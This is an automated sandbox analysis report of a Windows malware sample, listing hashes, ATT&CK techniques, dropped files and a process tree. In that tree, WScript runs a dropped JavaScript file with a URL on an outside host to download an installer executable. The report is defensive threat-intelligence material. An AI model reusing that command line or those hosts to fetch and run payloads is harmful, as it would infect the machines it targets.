0fda5b063f5dc9e57fb21810d24ede4874b6159c46dd00cc144faa3e53830f3d

Analysis

max time kernel
120s
max time network
125s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
30/05/2024, 03:13

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe
Size

184KB
MD5

82dd23568d5b57814fe72cb668ceab2e
SHA1

6e489495edcd4301d5fe62392c7cf28f995ddc99
SHA256

0fda5b063f5dc9e57fb21810d24ede4874b6159c46dd00cc144faa3e53830f3d
SHA512

8444783daa2ea0fa060ae92470958d8f5f7c7bab0398a6df0e3617400915f10345ed00487f359008a6d2feb5008d2a5f35a6cd469f6f77a3620fbd110341b36c
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3U:/7BSH8zUB+nGESaaRvoB7FJNndnB

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

flow	pid	Process
6	2300	WScript.exe
8	2300	WScript.exe
10	2300	WScript.exe
12	2440	WScript.exe
13	2440	WScript.exe
16	1660	WScript.exe
17	1660	WScript.exe
19	1696	WScript.exe
20	1696	WScript.exe
22	3052	WScript.exe
23	3052	WScript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1368 wrote to memory of 2300	1368	82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe	28
PID 1368 wrote to memory of 2300	1368	82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe	28
PID 1368 wrote to memory of 2300	1368	82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe	28
PID 1368 wrote to memory of 2300	1368	82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe	28
PID 1368 wrote to memory of 2440	1368	82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe	30
PID 1368 wrote to memory of 2440	1368	82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe	30
PID 1368 wrote to memory of 2440	1368	82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe	30
PID 1368 wrote to memory of 2440	1368	82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe	30
PID 1368 wrote to memory of 1660	1368	82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe	32
PID 1368 wrote to memory of 1660	1368	82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe	32
PID 1368 wrote to memory of 1660	1368	82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe	32
PID 1368 wrote to memory of 1660	1368	82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe	32
PID 1368 wrote to memory of 1696	1368	82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe	36
PID 1368 wrote to memory of 1696	1368	82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe	36
PID 1368 wrote to memory of 1696	1368	82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe	36
PID 1368 wrote to memory of 1696	1368	82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe	36
PID 1368 wrote to memory of 3052	1368	82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe	38
PID 1368 wrote to memory of 3052	1368	82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe	38
PID 1368 wrote to memory of 3052	1368	82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe	38
PID 1368 wrote to memory of 3052	1368	82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe	38

C:\Users\Admin\AppData\Local\Temp\82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\82dd23568d5b57814fe72cb668ceab2e_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1368
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf84AA.js" http://www.djapp.info/?domain=AAgEsVVwLI.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf84AA.exe
  2⤵
  - Blocklisted process makes network request
  PID:2300
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf84AA.js" http://www.djapp.info/?domain=AAgEsVVwLI.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf84AA.exe
  2⤵
  - Blocklisted process makes network request
  PID:2440
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf84AA.js" http://www.djapp.info/?domain=AAgEsVVwLI.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf84AA.exe
  2⤵
  - Blocklisted process makes network request
  PID:1660
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf84AA.js" http://www.djapp.info/?domain=AAgEsVVwLI.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf84AA.exe
  2⤵
  - Blocklisted process makes network request
  PID:1696
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf84AA.js" http://www.djapp.info/?domain=AAgEsVVwLI.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf84AA.exe
  2⤵
  - Blocklisted process makes network request
  PID:3052

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
1KB

MD5
6b5dad23fd7edd2c9daf944abc5d5341

SHA1
63a720a1bd0d9e2ecf288f11529f00256970577d

SHA256
e398b27255350eb1740b6851d4ca1faabc2b8c5ddd8caa791a47fc15af730060

SHA512
870f71e1f8724c984d51600080c43562303263c5ae4b9bf648fcf28909a88141a00db0e88b5ec52fc938c81ba78cb31a92a60792ff74b2369fdf10932d7e540c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
724B

MD5
8202a1cd02e7d69597995cabbe881a12

SHA1
8858d9d934b7aa9330ee73de6c476acf19929ff6

SHA256
58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

SHA512
97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
410B

MD5
e31ce4ba74f3e2fba574a5134b384738

SHA1
5634143f5491235c1f653ab43b7d79bb319f40ac

SHA256
75e1fe1e413184a2c939fb92a4613339a3458a73d074b64e6a7294930759d03a

SHA512
42c8f3613fdec05f64e57c293fffc7790f521b7443466091f2e5d7440261753ec383ce3cf5ada00e480538d1aa5e175b05a1abb4f8f5967d74f8cef4a6f90690

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
f33667c72b78b4f56ef83dac410c6abc

SHA1
0198f1f107e388487783bdb2a8cfe7e643030b6c

SHA256
064f3ed69416a472320d27a15e3a1f8d0db5067e277b36f66e1b91aab443fe61

SHA512
8e676e34560f1ac6e08bbb979a56e9c46637decc9ff820e89aeb0c6ba87600405cf4f2d48fd1819a450cc8e73770f15447e966fd7debced0fe08fc5839ee4dba

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
392B

MD5
c045ca01c86fc3ec72aafa68742579f2

SHA1
0718662fb11602eef32aa802a55bd6cf7b9b7877

SHA256
78313cb26364521983dd4d8bd299282e498b94a7e9495a020c3bdc6574f09440

SHA512
7b8b73e2474934f2a28a51f8c95cb539ce3552feb174c5e048e834413bba384441020fdc705ade5072bdcc5f89f0968318695a70c8557470d8073eac7c44868b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5DKX8QD5\domain_profile[1].htm

Filesize
6KB

MD5
5c071d2ed68b117f8811407d4c2dac1c

SHA1
c468952522196c3c7a2810e704702bc70e988791

SHA256
fbad47e3d7f173f555d1954043150605f129c570dd3db258e628ae8cae56a27b

SHA512
a65febd04e0c564106eed75a137a4cf67eb41ebe375adaf17d8eb08db0ecd93d3c19ba9dd48dfd0cc72ad9f89838497d3a8fe1ea29c90f9d33051eb9fcf540e1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5DKX8QD5\domain_profile[1].htm

Filesize
6KB

MD5
2607102b23c36b7de95de919756b1393

SHA1
3a91812a2a15f974a3e55e052bd18e65f2a42dcf

SHA256
299c9596f79730e50299c09e132ab72a12eee2effbcb63ca6462a6f3f1002808

SHA512
05597bb31c247d8fe37795ec9f327c9c3b0449f5ccfd5bbc33f7ac25f66abfb3be91954c7ac78df93bbe9b3b7d566b39494f37a3c0f9c0d33ce42596d5c51052

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\L9PN2QMY\domain_profile[1].htm

Filesize
40KB

MD5
b4e07ba304fd23f8cf6b5fc8a49b834f

SHA1
50ae69dbf7d19dd494d69ca2b7ed3e09f856c12f

SHA256
447a68e663519452ea066358c97b8f8c7d376917848e86cbca411dbb1288e1f0

SHA512
bc0879a306aa7d21306ddd03ddb3f1e27d894fb3b98236ecb8119af09431a9a0563fff97d7eb2a4e3566f59f4102bcf2739de9c230e8b0e16e949d3337a5b4f1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\L9PN2QMY\domain_profile[1].htm

Filesize
40KB

MD5
7ca6acdb2e6c01076be5498400b30d21

SHA1
0ff2fb763c2e946cca0f94c4cdc56854d522a800

SHA256
a9d72605c87bd9c6e199ba2dd4c863144163d2d83e912466130a162097d57fce

SHA512
948c43e52bc8b70f92f0f1abd915a3a48c8d48eae08c305239559576d5c483c5e0e7562a0b9678a0dba1f2b1ee575182dd85767ea326a747433fc481b64f3dc6

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabCD4D.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarE503.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Local\Temp\fuf84AA.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\7C2OLNBE.txt

Filesize
175B

MD5
7f40d6481edd93a2480366510b1c7c83

SHA1
dd63c8f32878286ecd49ec7816d188353a5642f6

SHA256
cd92f34584e11c8f650e56c20034727d4a94a78e69f8d09f8cdf5098ca6f1aa1

SHA512
3734364c57938f877e43ac72df933762d2988fef64a391debfec91b77bb0570cd6e3552a138af665f1146827acf9e472afb7d0c5d0f8d1dd9c99039a59bd1904

Download Submit